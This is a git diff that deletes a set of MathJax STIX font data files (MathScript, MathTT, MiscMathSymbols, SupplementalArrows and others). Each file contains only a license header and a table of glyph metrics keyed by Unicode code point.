- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/MathSSItalicBold.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
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diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/MathScript.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/MathScript.js
deleted file mode 100644
index 49fb8535..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/MathScript.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/MathScript.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.STIXGeneral,{119964:[674,15,855,31,846],119966:[687,15,797,37,781],119967:[687,15,885,36,818],119970:[687,15,773,83,740],119973:[674,177,802,9,792],119974:[687,15,1009,40,1004],119977:[687,15,970,38,956],119978:[680,15,692,82,663],119979:[687,15,910,38,886],119980:[680,38,692,82,663],119982:[680,15,743,67,701],119983:[687,15,912,43,907],119984:[687,15,842,36,805],119985:[687,15,932,35,922],119986:[687,15,1078,35,1070],119987:[687,15,891,36,873],119988:[687,226,926,91,916],119989:[687,15,932,59,912],119990:[441,11,819,30,758],119991:[687,12,580,47,559],119992:[441,11,662,30,589],119993:[687,11,845,30,827],119995:[687,209,685,27,673],119997:[687,11,753,38,690],119998:[653,11,496,83,484],119999:[653,219,730,9,718],120000:[687,11,726,40,666],120001:[687,11,579,48,571],120002:[441,11,1038,49,978],120003:[441,11,761,49,701],120005:[441,209,773,23,694],120006:[441,209,780,30,743],120007:[444,0,580,48,572],120008:[531,11,515,62,412],120009:[658,11,551,30,532],120010:[424,11,753,30,693],120011:[441,11,618,30,582],120012:[441,11,888,30,852],120013:[441,11,752,65,675],120014:[424,219,658,30,617],120015:[478,11,691,52,617]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Regular/MathScript.js");
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diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/MathTT.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/MathTT.js
deleted file mode 100644
index d9bcf93d..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/MathTT.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/MathTT.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.STIXGeneral,{120432:[673,0,525,26,496],120433:[662,0,525,29,480],120434:[672,11,525,40,482],120435:[662,0,525,25,483],120436:[662,0,525,31,500],120437:[662,0,525,34,488],120438:[672,11,525,37,495],120439:[662,0,525,26,496],120440:[662,0,525,84,438],120441:[662,11,525,85,476],120442:[662,0,525,30,494],120443:[662,0,525,37,487],120444:[662,0,525,21,501],120445:[662,0,525,31,491],120446:[672,11,525,56,466],120447:[662,0,525,31,479],120448:[672,139,525,56,466],120449:[662,11,525,26,520],120450:[672,11,525,52,470],120451:[662,0,525,26,496],120452:[662,11,525,9,514],120453:[662,8,525,17,506],120454:[662,8,525,11,512],120455:[662,0,525,24,497],120456:[662,0,525,15,507],120457:[662,0,525,47,479],120458:[459,6,525,58,516],120459:[609,6,525,17,481],120460:[459,6,525,78,464],120461:[609,6,525,41,505],120462:[459,6,525,60,462],120463:[615,0,525,42,437],120464:[461,228,525,29,508],120465:[609,0,525,17,505],120466:[610,0,525,84,448],120467:[610,227,525,47,362],120468:[609,0,525,24,505],120469:[609,0,525,63,459],120470:[456,0,525,2,520],120471:[456,0,525,17,505],120472:[459,6,525,62,460],120473:[456,221,525,17,481],120474:[456,221,525,45,530],120475:[456,0,525,37,485],120476:[459,6,525,72,457],120477:[580,6,525,25,448],120478:[450,6,525,17,505],120479:[450,4,525,22,500],120480:[450,4,525,15,508],120481:[450,0,525,23,498],120482:[450,227,525,24,501],120483:[450,0,525,32,473],120823:[681,0,525,110,435],120824:[681,0,525,52,470],120825:[681,11,525,43,479],120826:[682,0,525,29,493],120827:[670,11,525,52,470],120828:[681,11,525,58,464],120829:[686,11,525,43,479],120830:[681,11,525,43,479],120831:[681,11,525,58,464]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Regular/MathTT.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/MiscMathSymbolsA.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/MiscMathSymbolsA.js
deleted file mode 100644
index 50df5b58..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/MiscMathSymbolsA.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/MiscMathSymbolsA.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.STIXGeneral,{10176:[584,0,685,50,634],10177:[811,127,1145,35,1110],10178:[662,0,693,52,641],10179:[529,27,685,60,625],10180:[529,27,685,61,626],10181:[702,198,455,55,400],10182:[702,198,455,55,400],10183:[536,29,620,31,589],10184:[533,25,966,60,906],10185:[533,25,966,60,906],10188:[806,213,325,20,325],10192:[744,242,1064,39,1025],10193:[536,29,620,31,589],10194:[536,31,620,48,572],10195:[584,0,685,50,634],10196:[584,0,685,50,634],10197:[582,80,1019,40,965],10198:[582,80,1019,54,979],10199:[582,80,1228,40,1188],10200:[718,213,866,50,816],10201:[718,213,866,50,816],10202:[662,0,1376,64,1312],10203:[662,0,1376,64,1312],10204:[403,-103,849,50,799],10205:[450,-57,1574,55,1519],10206:[450,-57,1574,55,1519],10207:[693,187,502,101,401],10208:[795,289,790,45,745],10209:[589,87,764,45,719],10210:[589,87,803,45,758],10211:[589,87,803,45,758],10212:[662,158,1182,45,1137],10213:[662,158,1182,45,1137],10214:[717,213,504,188,482],10215:[717,213,504,22,316],10218:[719,213,610,73,545],10219:[719,213,610,65,537],10220:[719,213,488,178,466],10221:[719,213,488,22,310]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Regular/MiscMathSymbolsA.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/MiscMathSymbolsB.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/MiscMathSymbolsB.js
deleted file mode 100644
index f562b969..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/MiscMathSymbolsB.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/MiscMathSymbolsB.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.STIXGeneral,{10624:[695,189,594,85,509],10625:[487,-14,565,46,519],10626:[566,59,503,110,393],10627:[719,213,596,108,477],10628:[719,213,596,119,488],10629:[719,213,463,70,393],10630:[719,213,463,70,393],10631:[719,214,511,115,367],10632:[719,214,511,144,396],10633:[719,213,511,100,352],10634:[719,213,511,159,411],10635:[719,213,469,188,447],10636:[719,213,469,22,281],10637:[719,213,469,188,447],10638:[719,213,469,22,281],10639:[719,213,469,188,447],10640:[719,213,469,22,281],10641:[719,213,400,73,357],10642:[719,213,400,73,357],10643:[649,143,685,34,591],10644:[649,143,685,94,651],10645:[649,143,685,86,643],10646:[649,143,685,42,599],10647:[719,213,488,188,466],10648:[719,213,488,22,300],10649:[661,155,211,50,161],10650:[662,156,511,177,334],10651:[547,72,685,42,662],10652:[584,0,685,50,634],10653:[584,0,685,50,634],10654:[547,0,685,11,675],10655:[396,0,685,24,643],10656:[517,13,685,57,654],10657:[609,-12,685,77,607],10658:[547,0,685,42,662],10659:[547,0,685,42,662],10660:[547,200,685,23,643],10661:[547,200,685,42,662],10662:[547,0,900,40,860],10663:[547,0,900,40,860],10664:[574,72,685,29,649],10665:[574,72,685,36,656],10666:[578,68,685,29,649],10667:[578,68,685,36,656],10668:[562,58,706,34,680],10669:[562,58,706,26,672],10670:[562,58,706,34,680],10671:[562,58,708,26,672],10672:[583,79,762,50,712],10673:[717,79,762,50,712],10674:[819,79,762,50,712],10675:[832,79,762,50,712],10676:[832,79,762,50,712],10677:[623,119,910,24,886],10678:[623,119,842,50,792],10679:[623,119,842,50,792],10680:[623,119,842,50,792],10681:[623,119,842,50,792],10682:[623,119,842,50,792],10683:[623,119,842,50,792],10684:[623,119,842,50,792],10685:[882,179,842,50,792],10686:[623,119,842,50,792],10687:[623,119,842,50,792],10688:[623,119,842,50,792],10689:[623,119,842,50,792],10690:[623,119,1091,50,1056],10691:[623,119,1091,50,1056],10692:[662,158,910,45,865],10693:[662,158,910,45,865],10694:[662,158,910,45,865],10695:[662,158,910,45,865],10696:[662,158,910,45,865],10697:[712,207,1046,64,982],10698:[1003,127,1145,35,1110],10699:[811,259,1145,35,1110],10700:[811,127,1145,35,1110],10701:[811,127,1165,15,1150],10702:[698,193,780,70,710],10703:[531,25,857,48,777],10704:[531,25,857,80,809],10705:[582,80,810,93,716],10706:[582,80,810,93,716],10707:[582,80,810,93,716],10708:[582,80,810,94,717],10709:[582,80,810,93,716],10710:[602,100,810,74,736],10711:[602,100,810,74,736],10712:[620,116,511,177,334],10713:[620,116,511,176,333],10714:[620,116,688,177,511],10715:[620,116,688,177,511],10716:[430,0,926,70,854],10717:[653,0,926,70,854],10718:[695,189,926,70,854],10719:[403,-103,1145,50,1095],10720:[662,157,910,45,865],10721:[512,8,667,24,613],10722:[414,0,790,64,726],10723:[662,156,685,47,637],10724:[842,156,685,47,637],10725:[662,156,685,48,637],10726:[584,78,798,60,738],10727:[695,189,628,48,580],10728:[811,127,1145,35,1110],10729:[811,127,1145,35,1110],10730:[744,241,762,32,730],10731:[795,289,790,45,745],10732:[743,241,762,50,712],10733:[743,241,762,50,712],10734:[747,243,762,97,665],10735:[747,243,762,97,665],10736:[747,243,762,32,730],10737:[747,243,762,32,730],10738:[747,243,762,65,697],10739:[747,243,762,65,697],10740:[521,13,926,55,871],10742:[765,80,520,94,426],10743:[662,80,520,94,426],10744:[695,325,602,85,517],10745:[695,325,602,85,517],10746:[532,25,685,64,621],10747:[532,25,685,64,621],10748:[713,213,459,77,394],10749:[713,213,459,65,382],10750:[540,36,762,93,669],10751:[316,-190,762,93,669]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Regular/MiscMathSymbolsB.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/MiscSymbols.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/MiscSymbols.js
deleted file mode 100644
index 9a8e85dc..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/MiscSymbols.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/MiscSymbols.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.STIXGeneral,{9733:[655,66,870,60,810],9734:[655,66,870,60,810],9737:[583,79,762,50,712],9740:[634,131,581,54,553],9742:[676,0,1000,32,967],9746:[662,158,910,45,865],9761:[630,35,619,70,549],9785:[728,82,1150,170,980],9786:[728,82,1150,170,980],9787:[728,82,1150,170,980],9788:[623,122,837,46,791],9789:[728,82,641,40,601],9790:[728,82,641,40,601],9791:[702,198,603,65,538],9792:[638,135,603,65,538],9793:[638,135,603,65,538],9794:[634,131,660,54,620],9795:[732,176,970,66,904],9796:[793,140,970,63,866],9798:[760,110,840,60,780],9799:[730,110,632,76,576],9800:[760,110,964,25,939],9801:[644,139,781,43,738],9828:[609,99,685,34,651],9829:[603,105,685,34,651],9830:[609,105,685,41,643],9831:[603,99,685,34,651],9833:[714,125,390,45,345],9834:[714,125,560,50,510],9835:[842,125,840,40,721],9854:[775,271,1186,70,1116],9856:[669,23,1032,170,862],9857:[669,23,1032,170,862],9858:[669,23,1032,170,862],9859:[669,23,1032,170,862],9860:[669,23,1032,170,862],9861:[669,23,1032,170,862],9862:[687,42,1032,152,881],9863:[687,42,1032,152,881],9864:[687,42,1032,152,881],9865:[687,42,1032,152,881],9888:[1023,155,1510,25,1485],9893:[784,281,660,54,620],9898:[583,79,762,50,712],9899:[583,79,762,50,712],9900:[487,-14,565,46,519],9906:[638,135,603,65,538]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Regular/MiscSymbols.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/MiscSymbolsAndArrows.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/MiscSymbolsAndArrows.js
deleted file mode 100644
index 38dba8ac..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/MiscSymbolsAndArrows.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/MiscSymbolsAndArrows.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
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diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/MiscTechnical.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/MiscTechnical.js
deleted file mode 100644
index a32f19ec..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/MiscTechnical.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/MiscTechnical.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
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diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/NumberForms.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/NumberForms.js
deleted file mode 100644
index 6392b41d..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/NumberForms.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/NumberForms.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.STIXGeneral,{8531:[676,14,750,36,725],8532:[676,14,750,14,731],8533:[676,14,750,37,715],8534:[676,14,750,14,720],8535:[676,14,750,13,720],8536:[676,14,750,14,720],8537:[676,14,750,37,717],8538:[676,15,750,29,722],8539:[676,14,750,37,722],8540:[676,14,750,13,727],8541:[676,14,750,29,727],8542:[676,14,750,28,727]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Regular/NumberForms.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/PhoneticExtensions.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/PhoneticExtensions.js
deleted file mode 100644
index b750c34e..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/PhoneticExtensions.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/PhoneticExtensions.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.STIXGeneral,{7424:[468,0,510,15,495],7431:[464,0,504,21,481],7452:[464,14,583,21,560],7553:[683,287,528,27,491],7556:[683,287,542,7,505],7557:[683,287,294,19,257],7562:[459,287,389,51,348],7565:[450,287,516,17,479],7566:[450,287,453,27,416]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Regular/PhoneticExtensions.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/SpacingModLetters.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/SpacingModLetters.js
deleted file mode 100644
index 4679dcc4..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/SpacingModLetters.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/SpacingModLetters.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
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-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/Specials.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/Specials.js
deleted file mode 100644
index 45804913..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/Specials.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/Specials.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.STIXGeneral,{65533:[662,217,872,55,817]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Regular/Specials.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/SuperAndSubscripts.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/SuperAndSubscripts.js
deleted file mode 100644
index 4c496beb..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/SuperAndSubscripts.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/SuperAndSubscripts.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.STIXGeneral,{8319:[676,-270,541,57,484]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Regular/SuperAndSubscripts.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/SuppMathOperators.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/SuppMathOperators.js
deleted file mode 100644
index 086ef0d1..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/SuppMathOperators.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/SuppMathOperators.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
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diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/SupplementalArrowsA.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/SupplementalArrowsA.js
deleted file mode 100644
index e892ca47..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/SupplementalArrowsA.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/SupplementalArrowsA.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.STIXGeneral,{10224:[662,156,1033,69,965],10225:[662,156,1033,69,965],10226:[626,116,974,54,882],10227:[626,116,974,92,920],10228:[569,61,1200,52,1147],10237:[551,45,1574,55,1519],10238:[551,45,1574,55,1519],10239:[449,-58,1574,55,1519]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Regular/SupplementalArrowsA.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/SupplementalArrowsB.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/SupplementalArrowsB.js
deleted file mode 100644
index 23cd679c..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/SupplementalArrowsB.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/SupplementalArrowsB.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.STIXGeneral,{10496:[450,-57,926,56,871],10497:[450,-57,926,55,871],10498:[551,45,926,55,871],10499:[551,45,926,55,871],10500:[551,45,926,20,906],10501:[450,-57,926,55,871],10502:[551,45,926,55,871],10503:[551,45,926,55,871],10504:[662,156,511,59,452],10505:[662,156,511,59,452],10506:[662,156,926,71,854],10507:[662,156,926,72,855],10508:[449,-57,926,55,871],10509:[449,-57,926,55,871],10510:[449,-57,926,55,871],10511:[449,-57,926,55,871],10512:[449,-57,1412,55,1357],10513:[449,-57,926,55,873],10514:[662,156,511,59,452],10515:[662,156,511,59,452],10516:[450,-57,926,55,871],10517:[450,-57,926,55,871],10518:[449,-57,926,55,871],10519:[450,-57,926,55,871],10520:[450,-57,926,50,876],10521:[449,-57,926,55,871],10522:[449,-57,926,55,871],10523:[449,-57,926,55,871],10524:[449,-57,926,55,871],10525:[449,-57,926,55,871],10526:[449,-57,926,55,871],10527:[450,-57,926,55,871],10528:[450,-57,926,55,871],10529:[662,156,926,55,871],10530:[660,156,926,55,873],10531:[662,156,926,55,871],10532:[662,156,926,55,871],10533:[662,156,926,55,871],10534:[662,156,926,55,871],10535:[662,156,926,55,873],10536:[662,156,926,53,871],10537:[662,156,926,53,871],10538:[662,156,926,55,873],10539:[662,156,926,55,871],10540:[662,156,926,55,871],10541:[662,156,926,55,871],10542:[662,156,926,55,871],10543:[662,156,926,55,871],10544:[662,154,926,55,873],10545:[662,156,926,54,870],10546:[662,156,926,55,871],10547:[449,-57,926,55,871],10548:[562,0,926,141,797],10549:[562,0,926,141,797],10550:[493,163,784,87,649],10551:[493,163,784,135,697],10552:[657,153,511,70,415],10553:[657,153,511,96,441],10554:[423,-78,926,69,866],10555:[423,-78,926,60,857],10556:[423,-64,926,59,856],10557:[423,29,926,69,866],10558:[563,116,926,69,856],10559:[563,116,926,69,856],10560:[788,116,926,92,834],10561:[788,116,926,92,834],10562:[598,92,926,55,871],10563:[598,92,926,55,871],10564:[598,92,926,55,871],10565:[449,69,926,55,871],10566:[449,69,926,55,871],10567:[449,-57,926,55,871],10568:[449,-57,926,38,888],10569:[662,154,511,60,451],10570:[439,-67,926,38,888],10571:[439,-67,926,38,888],10572:[662,156,511,69,441],10573:[662,156,511,69,441],10574:[439,-220,926,38,888],10575:[662,156,511,222,441],10576:[286,-67,926,38,888],10577:[662,156,511,69,288],10578:[448,-58,926,55,871],10579:[448,-58,926,55,871],10580:[662,156,511,60,451],10581:[662,156,511,60,451],10582:[448,-58,926,55,871],10583:[448,-58,926,55,871],10584:[662,156,511,60,451],10585:[662,156,511,60,451],10586:[448,-58,926,55,871],10587:[448,-58,926,55,871],10588:[662,156,511,60,451],10589:[662,156,511,60,451],10590:[448,-58,926,55,871],10591:[448,-58,926,55,871],10592:[662,156,511,59,450],10593:[662,156,511,59,450],10594:[539,33,926,55,871],10595:[662,156,685,57,629],10596:[539,33,926,55,871],10597:[662,156,685,57,629],10598:[539,-120,926,55,871],10599:[386,33,926,55,871],10600:[539,-120,926,55,871],10601:[386,33,926,55,871],10602:[539,-120,926,55,871],10603:[386,33,926,55,871],10604:[539,-120,926,55,871],10605:[386,33,926,55,871],10606:[662,156,685,57,629],10607:[662,156,685,57,629],10608:[386,-120,926,55,871],10609:[565,-57,926,55,871],10610:[508,-57,926,55,871],10611:[449,2,926,55,871],10612:[449,2,926,55,871],10613:[449,141,926,55,871],10614:[607,283,685,64,621],10615:[532,26,926,45,871],10616:[608,282,685,64,621],10617:[627,262,685,64,621],10618:[532,26,926,45,871],10619:[627,262,685,63,620],10620:[511,5,926,135,791],10621:[511,5,926,135,791],10622:[581,75,685,84,600],10623:[581,75,685,84,600]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Regular/SupplementalArrowsB.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/ij.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/ij.js
deleted file mode 100644
index 4279ec91..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/ij.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/General/Regular/ij.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.Hub.Insert(MathJax.OutputJax["HTML-CSS"].FONTDATA.FONTS.STIXGeneral,{120484:[441,11,278,47,235],120485:[441,207,278,-124,246]});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir+"/General/Regular/ij.js");
-
diff --git a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/IntegralsD/Bold/All.js b/public/MathJax/jax/output/HTML-CSS/fonts/STIX/IntegralsD/Bold/All.js
deleted file mode 100644
index 2603f211..00000000
--- a/public/MathJax/jax/output/HTML-CSS/fonts/STIX/IntegralsD/Bold/All.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/jax/output/HTML-CSS/fonts/STIX/IntegralsD/Bold/All.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
